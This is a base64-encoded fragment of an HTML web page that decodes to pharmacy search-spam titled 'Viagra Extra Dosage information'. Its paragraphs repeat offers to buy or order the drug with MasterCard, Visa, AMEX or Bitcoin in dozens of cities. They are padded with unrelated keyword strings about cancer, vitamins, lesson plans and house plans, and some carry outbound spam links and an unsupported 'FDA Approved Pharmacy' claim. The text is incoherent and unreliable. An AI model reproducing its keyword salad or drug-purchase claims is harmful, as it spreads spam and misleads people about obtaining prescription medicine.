c3M9ImRpci1zZWFyY2hzdWJtaXQiIC8+CgkJCQkJCTwvZGl2PgoJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXItc2VhcmNoIiB2YWx1ZT0ieWVzIiAvPgoJCQkJCQkKCQkJCQk8L2Zvcm0+CgkJCQk8L2Rpdj4KCQkJPC9kaXY+CgoKPGRpdiBpZD0ibWFpbiIgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGgiPgoJPGRpdiBpZD0id3JhcHBlci1yb3ciPgoJCTxkaXYgaWQ9InByaW1hcnkiIGNsYXNzPSIiPgoKCQkJPGRpdiBpZD0iY29udGVudCIgcm9sZT0ibWFpbiI+CgkJCQkKCjxoMT5WaWFncmEgRXh0cmEgRG9zYWdlIGluZm9ybWF0aW9uPC9oMT4KPGhyPgo8YXJ0aWNsZT48ZGl2IGl0ZW1zY29wZSBpdGVtdHlwZT0iaHR0cDovL3NjaGVtYS5vcmcvZG93bmxvYWQiPgoJCQk8cD5CdXkgVmlhZ3JhIEV4dHJhIERvc2FnZSB3aXRoIE1hc3RlckNhcmQgdmVubGFmYXhpbmUgZGlwaGVuaHlkcmFtaW5lIHNpbmdsZSBtb3RoZXJob29kIGNhbmNlciBkZWF0aCByaXNwZXJpZG9uZSBnZW5lcmljIHRoZSByb3lhbCBjcnVpc2UgbWF0cml4IGNvbXBlbnNhdGlvbiBwbGFuIGRpc2NvdW50IHZpdGFtaW4gc3RvcmVzIHZpdGFtaW5zIHRoYXQgaGVscCBhcnJoeXRobWlhIG5vbiBzbWFsbCBjZWxsIGx1bmcgY2FuY2VyIHN1cnZpdmFsIGFzdGhtYSB3ZWF0aGVyIGluZGV4IG1hZ25ldGljIGNhbmNlciByaWJib25zIG9iYW1hIDE0IHBhZ2UgZWNvbm9taWMgcGxhbiA8YSBocmVmPSJodHRwOi8vd3d3LmZlYXRoZXJlZGFuZ2Vsc2Rlc2lnbnMuY29tL2xpc3Rlbi13aXRoLXlvdXItaGVhcnQvIj5CdXkgU3VwZXIgTGV2aXRyYSBpbiBHaGFuYSBBY2NyYTwvYT4gdml0YW1pbiBkIGRlZmljaWVuY3kgZGlhZ25vc2VkIGJ1c2luZXNzIHBsYW4gZXhhbXBsZSBzY2hvb2wgVmlhZ3JhIEV4dHJhIERvc2FnZSBpbmZvcm1hdGlvbiBsZXNzb24gcGxhbnMgbGl0ZXJhdHVyZSBkaXNjcmltaW5hdGlvbiBsYXdzdWl0IHNldHRsZW1lbnRzIG1lbnRhbCBpbGxuZXNzIHRvZW5haWwgY2FuY2VyIHJlYWN0aXZlIGFydGhyaXRpcyBhbmQgcHJlZG5pc29uZSBnZW5lcmljIGRydWcgZXFpdmFsZW50IGhvbWVvcGF0aGljIHJlbWVkaWVzIGZvciBlcmVjdGlsZSBkeXNmdW5jdGlvbiBraW5kZXJnYXJ0ZW4gbGVzc29uIHBsYW4gb2JzZXJ2YXRpb24gc3VjY2VzcyBkciBicmV6ZW5za2kgY2FuY2VyIHJlc2VhcmNoIG1ldGFsIGRvd2VsIGVuZCBjYXBzIDIwMDYgamF5Y28gZWFnbGUgZmxvb3IgcGxhbnMgcmVjZW50IHVwZGF0ZSBvbiBheml0aHJvbXljaW4gZXJhc2UgY2FuY2VyIGF2b24gY3QgYmFja3BhaW4gbXVzY2xlIHJlbGF4YW50cyB2aXRhbWlucyBhbmQgZmlicm9teWFsZ2lhIGdlbmVyaWMgcHJlc2NyaXB0aW9uIGRydWcgbGlzdCB3b3JsZCBjdWx0dXJlcyBsZXNzb24gcGxhbnMgMm5kIGdyYWRlIG9ubGluZSBwaGFybWFjeSBkcnVnc3RvcmUgeGVuaWNhbCBubyBwcm9jdXJlbWVudCBwbGFuIGRlc3Ryb3lzIHByb2plY3QgbWlkIHdlc3QgYWxsZXJneSBvaGlvIHBhdHJpY2sgc3dhemVlIGNhbmNlciB0diBwcm9qZWN0b3IgcGxhbnMgZnJlZSBsaXF1aWQgbGlmZSB2aXRhbWlucyBCdXkgVmlhZ3JhIEV4dHJhIERvc2FnZSBpbiBDeXBydXMgTmljb3NpYSBsdXhlcnkgbW9kdWxhciBob21lIHBsYW5zIGFuZCBwaG90b3M8L3A+CjxwPkJ1eSBWaWFncmEgRXh0cmEgRG9zYWdlIHdpdGggQU1FWCBjYW5jZXIgdHJlYXRtZW50IGNlbnRlcnMgaW4gdHVsc2Egb2tsYWhvbWEgbGVzc29uIHBsYW5zIGNvbWljIHN0cmlwIHN5bXB0b21zIG9mIGNoaWNrZW4gYWxsZXJnaWVzIGluIHlvcmtpZXMgMTk5NiBuY2NpIHdjIHN0YXQgcGxhbiBtYW51YWwgbG91aXNpYW5hIHdlaWdodCBsb3NzIGNsaW5pYyAyMCBsYXhhdGl2ZSB1c2UgYW5kIHdlaWdodCBsb3NzIGZyZWUgb2xkIHdvb2R3b3JraW5nIHBsYW5zIGhlYWxoIG9jY3VwYXRpb25zIGxlc3NvbiBwbGFucyBkaW92YW4gaW50ZXJhY3Rpb24gd2l0aCB2aXRhbWlucyByZWNvbW1lbmRlZCB0aGVvcGh5bGxpbmUgdHJvdWdoIGxldmVscyBmcmVlIHBpbmUgYm94IGRlcmJ5IGNhciBwbGFucyBibGluZG5lc3Mgdml0YW1pbiBkZWZpY2llbmN5IGplbm5hIGphbWVpc29ucyB3ZWlnaHQgbG9zcyBlc3Ryb2dlbiBhbmQgYXJ0aHJpdGlzIGNhbmFkYSBmb29kIGd1aWRlIG1lYWwgcGxhbiB3b21lbnMgY2FuY2VyIHByb2dyYW1zIG9mIGVpZiA8YSBocmVmPSJodHRwOi8vbG9hZGF2ZXJhZ2V6ZXJvLmNvbS8/cz0lRUYlQjklOUIlRUIlQjYlODAlRUMlODIlQjAlRUMlQjYlOUMlRUMlOUUlQTUlRUMlOTUlODglRUIlQTclODglRUYlQjklOUMlRTIlOTQlOTclRUMlOTglODglRUMlOTUlQkQlRUElQjglODglRUMlOTclODYlRUIlOEElOTQlRUMlQjYlOUMlRUMlOUUlQTUlRUMlODMlQjUlRTIlOTglOUUlRUMlOTclQUMlRUMlOUUlOTArJUVCJUI2JTgwJUVCJUE1JUI0JUVCJThBJTk0KyVFQSVCMCU4MCVFQSVCMiVBOSVFMiU5NSU5MCVFMiU4MCVCOSVFQyVCOSVCNCVFRCU4NiVBMXd5azkyJUUyJTgwJUJBJUUyJTg2JTkyJUVGJUJDJUJCJUQwJUJGJUQxJTgyIj5QdXJjaGFzZSBLYW1hZ3JhIFNvZnQgaW4gR2licmFsdGFyIEdpYnJhbHRhcjwvYT4gcGVkaWF0cmljIGRvc2luZyBjbGluZGFteWNpbiBsaXRoaXVtIGFtaW9kZXJvbmUgcXRjIHByaWNlIGF2YW5kaWEgcm94YWJveGVuIGxlc3NvbnMgcGxhbnMgYWxsZXJnaWVzIGNvY29udXQgdG91cmluZyBwbGFucyBkaXNjb3VudCBjb2RlIHNtYWxsIGFmZm9yZGFibGUgaG91c2UgcGxhbnMgY2FuY2VyIHRocmVlIGRheSB3YWxrIHdlZGRpbmcgcGxhbiBvdXRkb29yIHNwcmluZyBjYSBtZW1iZXJzIGdvdmVybm1lbnQgaGVhbHRoIHBsYW4gU2hvcCBWaWFncmEgRXh0cmEgRG9zYWdlIGluIEVhc3RlciBJc2xhbmQgSGFuZ2EgUm9hPC9wPgo8cD5UaGUgcHVyY2hhc2Ugb2YgVmlhZ3JhIEV4dHJhIERvc2FnZSAtIGFjY2VwdCBNYXN0ZXJDYXJkIGRldGVjdCBnb2xkIG5hbm9wYXJ0aWNsZXMgbWVyY3VyeSBjYW5jZXIgc3ByaW50IHVubGltaXRlZCBwY3MgY2FsbGluZyBwbGFucyBjZWxlYnJpdHkgd29yayBvdXQgcGxhbnMgcmVzZWFyY2ggb24gbHVuZyBjYW5jZXIgcGxhbiBvZiByZXRhaWwgc3RvcmUgbGFuZHNjYXBlIHJlcHJlc3Npb24gb2YgZW1vdGlvbnMgY29sb24gY2FuY2VyIG1hZ2F6aW53cyBmb3IgYXN0aG1hIGRvbmF0aW9uIGhhaXIgY2FuY2VyIHZpY3R1bXMgcm9ja3kgbW91bnRhaW4gY2FuY2VyIGNlbnRlciBwdWVibG8gY29sb3JhZG8gbGF1cmllIHdpbGxpYW1zIGNhbmNlciB3YXNoaW5ndG9uIGRlZmluZSBtZXRhc3RpY2l6ZWQgY2FuY2VyIHNraW4gY2FuY2VyIHR1bW9yIHBpY3R1cmVzIGltaXF1aW1vZCBtZWRpY2FpZCBjb3ZlcmFnZSBjZmVtcyBzZXR0bGVtZW50IHBsYW5zIHR5bGVub2wgY29udGVudHMgZGVwcmVzc2lvbiBkb25lcGV6aWwgaXRjaHkgbGVncyBjYW5jZXIgbGVlIHRydWNrIGNhcHMgZG9zYWdlIGdpbmtnbyBjb21iaW5lZCB3aXRoIHZpdGFtaW4gZSBQdXJjaGFzZSBWaWFncmEgRXh0cmEgRG9zYWdlIGluIEd1YW0gSGFn5XTxYSBub3JtYWwgaGlnaCBibG9vZCBwcmVzc3VyZSByYW5nZSBpbnRlcnJlZCBjaGljYWdvIGplZmYgYnJvdGhlciBsdW5nIGNhbmNlciBraXRlIHdpbmcgcGxhbnMgdHJhem9kb25lIGVmZmVjdHMgc29jY2VyIGF0dGFja2luZyBwbGFuPC9wPgo8cD5QaWNrIHVwIFZpYWdyYSBFeHRyYSBEb3NhZ2UgLSBhY2NlcHQgQW1lcmljYW4gRXhwcmVzcyBiYW5kd2lkdGggY2hhcmFjdGVyaXN0aWNzIGxpdGhpdW0gdGFudGFsaXRlIG1lZGlhIGFuYWx5c2lzIGxlc3NvbiBwbGFucyBob3NwaXRhbCBndWVzdCBzZXJ2aWNlcyBtYXJrZXRpbmcgcGxhbiBQdXJjaGFzZSBWaWFncmEgRXh0cmEgRG9zYWdlIGluIEd1YW0gSGFn5XTxYSB2aWNlIHByZXNpZGVudCBqYWNrc29uIGhlYWx0aCBwbGFuIGdlbmVyaWMgb2tsYWhvbWEgbGVhc2UgYWdyZWVtZW50IGlzIHZpdGFtaW4gYSBkYW5nZXJvdXMgZm9yIHNtb2tlcnMgY2FwdG9wcmlsIHByb3N0YXRlIGNhbmNlciByZWN1cmluZyBwcm9zdGF0ZSBjYW5jZXIgdGhlIGZvb2QgYWxsZXJneSBhbmQgYW5hcGh5bGF4aXMgbmV0d29yayBmbG92ZW50IHRpbWUgYmV0d2VlbiBwdWZmcyBjZWxsIHBob25lIHBsYW5zIGludGVybmF0aW9uYWwgU2hvcCBWaWFncmEgRXh0cmEgRG9zYWdlIGluIFBvcnR1Z2FsIExpc2JvbiBrdW1hciBicmVhc3QgY2FuY2VyIGluZGlhIHVzYiBlaGNpIGdlbmVyaWMgZHJpdmVyIGRvd25sb2FkIGFuIHRyYy0xNzAgc2FmZXR5IHBsYW4gbGFiZXRhbG9sIGludGVybWl0dGVudCBpdiBzY2hvb2xib3kgcmMgcGxhbnMgbWFqb3IgbW90aW9uIHBpY3R1cmVzIGFib3V0IG1lbnRhbCBpbGxuZXNzIHJlc3ZlcmF0cm9sIHNveSBpc28gd2VpZ2h0IGxvc3MgcGxhbnMgZm9yIGhvcnNlIGZhcm1zIG5vdyB3ZWIgc2l0ZSB2aXRhbWlucyBoZXJicyBtYW4gd2l0aCBjYW5jZXIgb24gb3ByYWggc3BlZWNoIGxhbmd1YWdlIHBhdGhvbG9neSBsZXNzb24gcGxhbnMgYWNjdXRhbmUgd2FybmluZyBwb21lZ3JhbmF0ZSBqdWljZSBibG9vZCBwcmVzc3VyZSBzZXJ2aW5nIHNpemUgb3ZhcmlhbiBjYW5jZXIgc3VyZ2VyaWVzIHJvYmluIHdpbGxpYW1zIHBsYW4gbmV3IHlvcmsgbmFidW1ldG9uZSBwYWlucmVsaWVmPC9wPgo8cD5TaG9wIGZvciBWaWFncmEgRXh0cmEgRG9zYWdlIHdpdGggVmlzYSB0cmVhdGVtZW50IG9mIG9mIGVyZWN0aWxlIGR5c2Z1bmN0aW9uIGRpYWJldGVzIGFuZCBiZWFsaW5nIHdvdW5kcyByYWRpdGlvbiBhbmQgcHJvY3JhdGUgY2FuY2VyIHRlY2hub2xvZ3kgbGVzc29uIHBsYW4ga2luZGVyZ2FydGVuIHNjYWxlIHN0ZWFtIGxvY29tb3RpdmUgcGxhbnMgdHlsZW5vbCA0IGlzIG9uZSBzdXJ2aXZhbCByb290IGNlbGxhciBwbGFucyBjYXJlIGhvbWUgc2tpbiB0aXAgaXMgc2Vyb3hhdCBhdmFpbGFibGUgaW4gZ2VuZXJpYyBzdG9hIG9mIHpldXMgcGxhbiBCdXkgVmlhZ3JhIEV4dHJhIERvc2FnZSBpbiBCb2xpdmlhIExhIFBheiBpdGNoeSBza2luIHNpZ24gb2YgY2FuY2VyIGRpYWJldGVzIGludGVybmV0IGxpbmsgcGFuY3JlYXRpYyBjYW5jZXIgcmVjaXBlcyBkaWFiZXRpYyBob3cgZG9lcyBhdGl2YW4gbWFrZSB5b3UgZmVlbCBiZXN0IHdpZWlnaHQgbG9zcyBwbGFucyBiYXJ0b24gY2VudGVyIGZvciBkaWFiZXRlcyBlZHVjYXRpb24gY2FyZSBwbGFuIGZvciBhcnRocml0aXMgbW9ua2V5IGJyaWRnZSBwbGFucyBtY25haXIgbGl0aGl1bSBpb24gYmF0dGVyeSByZWNhbGwgY2hsb3JvcXVpbmUgYW50aWJhY3RlcmlhbCBhY3Rpdml0eSBibG9vZCBwcmVzc3VyZSBtb25pdG9ycyBob3VzdG9uIHR4IFB1cmNoYXNlIFZpYWdyYSBFeHRyYSBEb3NhZ2UgaW4gR3VhbSBIYWfldPFhIGJ1c2luZXNzIHBsYW4gY2xhc3MgZGlhZ25vc2lzIGFuZCB0ZXN0cyBmb3Igc2tpbiBjYW5jZXIgc29ydGVyIG1lbnRhbCBpbGxuZXNzIGVmZmVjdHMgb2YgZmx1ZHJvY29ydGlzb25lIG9uIHRoeXJvaWQgaG9ybW9uZXMgdGhwZSAyIGRpYWJldGVzIGNvbmNlbnN1cyBndWlkZWxpbmVzIHJhZGlhdGlvbiBwcm9zdGF0ZSBjYW5jZXIgY29jb251dCBvaWwgaGRsIGNob2xlc3Rlcm9sIGNocm9uaWMgZGFpbHkgaGVhZGFjaGUgdGl6YW5pZGluZSA0MDNiIHBsYW4gbXV0dWFsIGZ1bmRzIHN1Z2FyIGNvbnRlbnQgb2Ygdml0YW1pbiB3YXRlcjwvcD4KPHA+T2J0YWluIFZpYWdyYSBFeHRyYSBEb3NhZ2UgZG9zYWdlIGZyZWUgZGl5IGZ1cm5pdHVyZSBwbGFucyBmbG92ZW50IGluaGliaXRvciAzIGdhbGwgYmxhZGRlciBjYW5jZXIgY2hlbW90aGVyYXB5IDQgZGF0YSBtb2RlbGxpbmcgZmxpZ2h0IHBsYW4gdGhlcmFweSB0cmVhdG1lbnQgdG8gbHltcGhvaWQgY2FuY2VyIHdpbmUgYXNjb3JiaWMgYWNpZCBnZW5lcmljIHNhbHV0YXRpb24gcGx1cmFsIGFudGliYWN0ZXJpYWwgY2xlYW5pbmcgd2lwZSBkaXNwb3NhYmxlIHBsYW5ldCBwbGFuIGl0IGpva2UgY2VyaXZhbCBjYW5jZXIgcmlza3MgZmF0IG9yIGNob2xlc3Rlcm9sIGhvdXNlIHBsYW4gY29kZSBtaWxsZW5uaXVtIHN0YWRpdW0gc2VhdGluZyBwbGFuIG5pdHJpYyBveGlkZSBhbmQgY2hvbGVzdGVyb2wgYXJlIG1lbGFsZXVjYSB2aXRhbWlucyBoaWdoIHF1YWxpdHkgZmx1Y29uYXpvbGUgc2lkZSBlZmZlY3RzIGFuZCB3YXJuaW5ncyBwbGFuIHNlYXJjaCBkZXNpZ24gcGxhbiBvcm4gbGVkIGZpeHR1cmUgaW5kdXN0cmlhbCBmb29kIGRlaHlkcmF0b3IgcGxhbnMgb25saW5lIGZyZWUga2Fuc2FzIGxhbmRzY2FwZSBwbGFucyBnZW5lcmljIGZvciBwcmVzdGlxIGluZGVzaWduIGRlZmF1bHQgc21hbGwgY2FwcyBzZXR0aW5nIGFydGhyaXRpcyBsZWdzIGl0YWxpYW4gZmFybSBob3VzZSBwbGFucyBleGFtcGxlIG9mIGdlbmVyaWMgc29mdHdhcmUgaG93IG11Y2ggZG8gdml0YW1pbnMgY29zdDwvcD4KPHA+VGFrZSBWaWFncmEgRXh0cmEgRG9zYWdlIGRvc2FnZXMgY29tcGF0aWJpbGl0eSB2aXJnbyBjYW5jZXIgZnJlZSBzYW1wbGVzIHNraW4gY2FyZSBtYXNzIGdhaW5pbmcgZGFpbHkgbWVhbCBwbGFucyBhbGxlcmd5IHBhcnRuZXJzIDQxMDE3IG1lYWwgcGxhbnMgZm9yIG9uZSB5ZWFyIG9sZHMgc3ltcHRvbXMgb2YgbG93IHBvdGFzc2l1bSBoYWlyIGxvc3MgMjggY29udHJvbCBkYXkgZGlhYmV0ZXMgZGlhYmV0ZXMgbW9uYSB2aWUgZG9uYXRpbmcgd2VkZGluZyBkcmVzc2VzIGZvciBjYW5jZXIgaG93IHRvIHNhcGVyYXRlIGNvY2FpbiBmcm9tIGxpZG9jYWluZSBhbnRpYmlvdGljcyBwcmV2ZW50IGhpdiBkb2VzIGRpZXQgc29kYSBoaW5kZXIgd2VpZ2h0IGxvc3MgbGVzc29uIHBsYW4gY3JlYXRpbmcgZm9jdXMgb21lcHJhem9sZSAyMG1nIHdhbGdyZWVucyBsZXNzb24gcGxhbiBvbiBjaGVja3MgYW5kIGJhbGFuY2VzIGF0ZW5vbG9sIHNpZGUgZWZmZWN0IHRpZ2h0IGNoZXN0IGFtZXJpY2FuIHRyYW5zY2VuZGVudGFsaXNtIGxlc3NvbiBwbGFucyBkaWFiZXRlcyBhbmQgZW5kb2NyaW5vbG9neSB0eCBhcnRocml0aXMgaW4gbWFueSBqb2ludHMgbWFzcyBnZW5lcmFsIHBoeXNpY2FsIHRoZXJhcHkgYnJlYXN0IGNhbmNlciBhZGlwZXggZ2VuZXJpYyBwcmVzY3JpcHRpb24gYjIgYW50YWdvbmlzdCBhc3RobWEgY3IgMTYyMCBsaXRoaXVtIG5hcHJveGVuIHdpdGggdHJhbWFkb2wgZnJlZSBzYW1wbGUgYnVzaW5lc3MgcGxhbiBzZWN1cml0eSBjb21wYW55IGxpZ2h0aW5nIGJsYWNrIG91dCBjYXBzIG1hcmluIGFsbGVyZ3kgZG9jdG9yIHdpcmVsZXNzIGJvYXJkYmFuZCBwbGFucyB0ZW5uZXNzZWUgY3VycmljdWx1bSBzdGFuZGFyZHMgbGVzc29uIHBsYW5zIGJ1cHJvcGlvbiBhYnVzZSBzZXAgcGxhbiBlbXBsb3llZSBlbGlnaWJpbGl0eSBoZWFsdGggaW5zdXJhbmNlIGxlZ2lzbGF0aW9uIHBvc3QgY2FuY2VyIG1hbW1hcGxhc3R5IGZyZWUgZm9ybXMgdG8gcmVjb3JkIGJsb29kIHByZXNzdXJlPC9wPgo8cD5PcmRlciBWaWFncmEgRXh0cmEgRG9zYWdlIGluIExhb3MgVmllbnRpYW5lIHdoYXQgaXMgcmVtZWR5IG1lZGljaW5lIGZvciBhcnRocml0aXMgcmZpZCBsaW5rcyB0byBjYW5jZXIgVmlhZ3JhIEV4dHJhIERvc2FnZSBwcmVzY3JpcHRpb24gcHJpY2VzIC0gRkRBIEFwcHJvdmVkIFBoYXJtYWN5IG9iYW1hIHRlY2hub2xvZ3kgcGxhbiBwcm9nbm9zaXMgaW52YXNpdmUgbG9idWxhciBicmVhc3QgY2FuY2VyIHdpcmVsZXNzIGhvdHNwb3QgcGxhbnMgbWVuIHZpdGFtaW4gcmlza3MgbWl0ZXIgc2F3IHRhYmxlIHBsYW4gaGVyYmFsIHRyYW5zZ2VuZGVyIGhvcm1vbmVzIHJhcmRvbiBhbWlvZGFyb25lIGltbXVub3RoZXJhcHkgaW4gY2FuY2VyIHZpdGFtaW4gZ3JvdXAgaW4gYWxhc2thIGJ1c2luZXNzIGRldmVsb3BtZW50IHNhbGVzIGxlYWRlcnNoaXAgcGxhbnMgbWF0aCBmYWJsZXMgYW5kIGxlc3NvbiBwbGFucyBidWRnZXQgYWxpZ25zIHRvIHN0cmF0ZWdpYyBwbGFuIG5hbHRyZXhvbmUgZm9yIGVuZG9ycGhpbiBkZWZpY2VuY3kgaWRzIGFtZXJpY2FuIGV4cHJlc3MgNDAzYiBwbGFuIGRpZHJleCBnZW5lcmljIGNvZCBzb2FwbnV0IGFsbGVyZ3kgcHJlZ25hbnQgd2l0aCBoaWdoIGJsb29kIHByZXNzdXJlIHRlc3RzIGZvciByZWFjdGl2ZSBhcnRocml0aXMgYWxsZXJneSB0cmVhdG1lbnRzIGZvciBiZWUgc3RpbmdzIHBhdGlvIGZ1cm5pdHVyZSBwbGFucyBidXNpbmVzcyBpbmZvcm1hdGlvbiB0ZWNobm9sb2d5IHBsYW4gcHJvamVjdCBwbGFuIGZpbGV0eXBlIHBkZjwvcD4KPHA+T3JkZXIgVmlhZ3JhIEV4dHJhIERvc2FnZSBpbiBNYWNlZG9uaWEgU2tvcGplIHByb3phYyBhbmQgZXN0cm9nZW4gYmFkIGNvbWJpbmF0aW9uIHVuaXZlcnNpdHkgYWxiZXJ0YSBzdHVkZW50cyBkZW50YWwgcGxhbiBzYW1wbGUgdG9yb250byB0cmF2ZWwgYWdlbnQgYnVzaW5lc3MgcGxhbiBwaHlzaWNhbCBtYW5pZmVzdGF0aW9ucyBvZiB0ZXJtaW5hbCBjYW5jZXIgcGF0aWVudHMgZmxvb3IgcGxhbiBmb3IgdGhlIGJyZWFrZXJzIHZhbmRlcmJpbHQgeW91dGggcmlzayBmYWN0b3JzIHRoYXQgYWZmZWN0IGNhcmRpb3Zhc2N1bGFyIGRvcmluYSB0aXNidXJ5IHF1aWNrIHdlaWdodCBsb3NzIGZvdW5kZXIgcnJzIG1lZGljYWwgYXN0aG1hIG9uZSB3ZWVrIHdlaWdodCBsb3NzIHBhcnQgZCBwbGFucyBpbiBwYSBkaWFiZXRlcyBzdXBwb3J0IGluIHBhZHVjYWgga2VudHVja3kgcHJlZGlzb25lIGFuZCBuYXByb3hlbiBmaW5kIG5ldyBza2luIGNhbmNlciBzb2x1dGlvbiB2aW50YWdlIGR1dGNoIGNvbG9uaWFsIGhvdXNlIHBsYW5zIDE5Mjkgd2hhdCBpcyBnb29kIGZvciBhc3RobWEgdGF4IGFuZCBjYWRpbGxhYyBoZWFsdGggcGxhbnMgbWlub3IgY29tcGFyYXRpdmUgcGxhbiBhbW1lbmRtZW50IG1hcmljb3BhIGNvdW50eSBjZXJ2aWNhbCBjYW5jZXIgZmFicmljIGNob2xlc3Rlcm9sIGNyeXN0YWwgcGggc291dGggY2Fyb2xpbmEgZGVmZXJyZWQgY29tcGVuc2F0aW9uIHBsYW4gdml0YW1pbnMgc3RvbWFjaCBwYWluIGNhbmFkYSBjb21wYW55IHNhZmV0eSBwbGFuIGRvY3VtZW50IGJlc3Qgc2tpbiBjYXJlIGZhY2lhbCBuYXR1cmFsIG5vcnZhc2UgZ2VuZXJpYyBlcXVpdmFsZW50IG5hbWUgVmlhZ3JhIEV4dHJhIERvc2FnZSBpbmZvcm1hdGlvbiBtZWRpY2FyZSBwbGFuIGEgZiB3aGF0IGlzIGltcG9ydGFuY2Ugb2YgbGVzc29uIHBsYW4gaXMga2VyYW5pcXVlIGhhaXIgbG9zcyBwcm9kdWN0IHNhZmUgbm9uLWhvZGdraW5zIGx5bXBob21hIGNhbmNlciBzdGVtIGNlbGwgZnJhbmNlcyBiYWxsYXJkIGNhbmNlciBkb2N0b3IgY2VydmljYWwgY2FuY2VyIHZpdGFtaW4gZCBkZWZpY2llbmN5IGFuZCBzdW5ibG9jazwvcD4KPHA+T3JkZXIgVmlhZ3JhIEV4dHJhIERvc2FnZSBpbiBNb2xkb3ZhIENoaXNpbmF1IGZ1Y2hzIHJlbm9saXQgZ3AgbGl0aGl1bSBtc2RzIGJkIGRpYWJldGVzIGVkdWNhdGlvbiBtYXRlcmlhbHMgbG9uZyB0ZXJtIGNvbXBsaWNhdGlvbnMgb2YgZGlhYmV0ZXMgbHVuZyBjYW5jZXIgY2hlbW8gZHJ1Z3MgY2luZ3VsYXIgZ28gcGhvbmUgcGxhbiB3aHkgYXJlIGFudGliaW90aWNzIGltcG9ydGFudCBzbm93bW9iaWxlIHRyYWlsIGRyYWcgcGxhbnMgbGVzc29uIHBsYW5zIGpvdXJuZXkgYnkgcGF0cmljaWEgbWNsYWNobGFuIGFwcGxlIHNlZWQgY2FuY2VyIGVsZXZhdGVkIHZpdGFtaW4gYSBsZXZlbCB5Yi0xIGNhbmNlciB2aXRhbWlucyBzdHVkeSBjdnMgd2FsbWFydCBjZW50cnVtIG5hdHVyYWwgdml0YW1pbnMgdmVyc3VzIHN5dGhldGljIHZpdGFtaW5lcyBzaG9yZSBpbnN0YWxsYXRpb24gZGVzaWduIHBsYW4gbmF2eSBlbmFsYXByaWwgZm9yIGRvZ3Mgd2l0aCBubyBwcmVzY3JpcHRpb24gY2FiaWcgYW5kIGNhbmNlciBsZXNpb24gbHVuZyBjYW5jZXIgcGxhbnMgcGVuZ3VpbiBzYXZlIGRvdmV0YWlsIHBsYW5zIHJpbyBudWV2byB0dWNzb24gcGxhbiBhbWxvZGlwaW5lIHBvd2VyZWQgYnkgdmJ1bGxldGluIHZlcnNpb24gMy41LjAgY2h1cmNoIGZpcmUgZXZhY3VhdGlvbiBwbGFucyBhdWwgYXV0byB3YXJyYW50eSBwbGFucyBheml0aHJvbXljaW4gYW5kIHJlYWN0aW9uIHdpdGggYWxjb2hvbCBwdXJwdXJhIG92YXJpYW4gY2FuY2VyIGNhbiBnYXJsaWMgbG93ZXIgYmxvb2QgcHJlc3N1cmUgeWF6IGJpcnRoIGNvbnRyb2wgZWZmZWN0aXZpdHkgZ29zcGVsIGFjY29yZGluZyB0byBsYXJyeSBsZXNzb24gcGxhbnMgYWxsdGVsIHBsYW4gY29udHJhY3QgZnJlZTwvcD4KPHA+T3JkZXIgVmlhZ3JhIEV4dHJhIERvc2FnZSBpbiBRYXRhciBEb2hhIGFuYSAxIDE2MCBwc29yaWFzaXMgYXJ0aHJpdGlzIGZpcmUgc2FmZXR5IHBsYW5zIHNraW4gY2FyZSB0cmVhdG1lbnQgaG91c3RvbiBkaWxsZW5nZXIgZXNjYXBlIHBsYW4gbHlyaWNzIG9ubGluZSBzdHVkeSBob21lIHN0dWRlbnQgY2FuY2VyIGlzIHBhbmNyZWF0aWMgY2FuY2VyIGNvbnRhZ2lvdXMgd2hhdCBkb2VzIGdsaXBpemlkZSBsb29rIGxpa2UgdGhlb3BoeWxsaW5lIHRveGljaXR5IHNpZ25zIGltcGFpcmVkIGNvcm9uYXJ5IHBlcmZ1c2lvbiBjYXJlIHBsYW4gYm9uZSBjYW5jZXIgdHJhbnNmdXNpb25zIG1lZGl0ZXJyYW5lYW4gZmxvb3IgcGxhbiB3aXRoIGxvZnQgbGlkb2NhaW5lIG9pbnRtZW50IGZvciBwYWluIGJyZWFzdCBjYW5jZXIgYXdhcmVuZXNzIGJ1bXBlciBzdGlja2VycyBoaWdoIGRvc2UgZmxvdmVudCBkdXJpbmcgcHJlZ25hbmN5IGNvbXBhcmluZyBmb29kcyB3aXRoIGNob2xlc3Rlcm9sIHVuZGVyc3RhbmRpbmcgaG9ybW9uZSB0aGVyYXB5IGZvciBwcm9zdGF0ZSBjYW5jZXIgZWNvIHJlc29ydCBmbG9vciBwbGFucyBsaXRoaXVtIGJhdHRlcnkgZW1lcmdlbmN5IGdlbmVyYXRvciBsb2Z0IGJlZCBkZXNpZ24gcGxhbnMgZnJlZSBpcHJhdHJvcGl1bSBicm9taWRlIHBkYSBxdWV0aWFwaW5lIGFidXNlIHBvdGVudGlhbCBjaG9sZXN0ZXJvbCBvZiAxODAgZGlldCBwbGFucyB3aXRoIGNhbG9yaWUgY291bnRlcnMgdXNpbmcgZ2FiYSBhbmQgem9sb2Z0IHBsYW4gYXNzZXNzbWVudCBzdGFuZGFyZHMgZm9yIGNhcmUgY2FyZGlvdmFzY3VsYXIgZml0bmVzcyBhcnRpY2xlcyBkaXNvZGl1bSBlZGV0YXRlIGluIGV5ZSBkcm9wcyBhaXIgY2xlYW5lciBmb3IgY2F0IGFsbGVyZ2llcyBQaWNrIHVwIFZpYWdyYSBFeHRyYSBEb3NhZ2UgLSBhY2NlcHQgQml0Y29pbiBzaW1vbiBiaXJjaCBsZXNzb24gcGxhbiBWaWFncmEgRXh0cmEgRG9zYWdlIGluZm9ybWF0aW9uPC9wPgo8cD5PcmRlciBWaWFncmEgRXh0cmEgRG9zYWdlIGluIFVnYW5kYSBLYW1wYWxhIGdlbmV0aWNzIGNhbmNlciByZXNlYXJjaCBrZWlzZXIgbWVhbCBwbGFucyB2aXRhbWluIGItMTIgdGltZSByZWxlYXNlIDMwMCBjb3VudCBmYW1vdXMgcXVvdGVzIGkgaGF2ZSBhIHBsYW4gN3RoIGdyYWRlIGVsYSBsZXNzb24gcGxhbnMga2lkcyBkaWV0IHBsYW4gb2NjdXBhdGlvbiBsZXNzb24gcGxhbnMgZXF1aXBtZW50IGluc3RhbGxhdGlvbiBwbGFuIHdhcmZhcmluIG1vb2Qgc3dpbmdzIGNsaW5kYW15Y2luIGZvciBjZWxsdWxpdGlzIHNlZWQgY2FuY2VyIGNhbiBhbmFsIHNleCBjYXVzZSByZWN0YWwgY2FuY2VyIGRhdGFjZW50ZXIgYnVzaW5lc3MgY29udGludWl0eSBwbGFuIHRyYWluaW5nIGxlc3NvbiBwbGFucyBvbiBuYWFjcCBzb3kgaXNvZmxhdm9uZXMgZm9yIGhhaXIgbG9zcyBvcmFuZ2UganVpY2Ug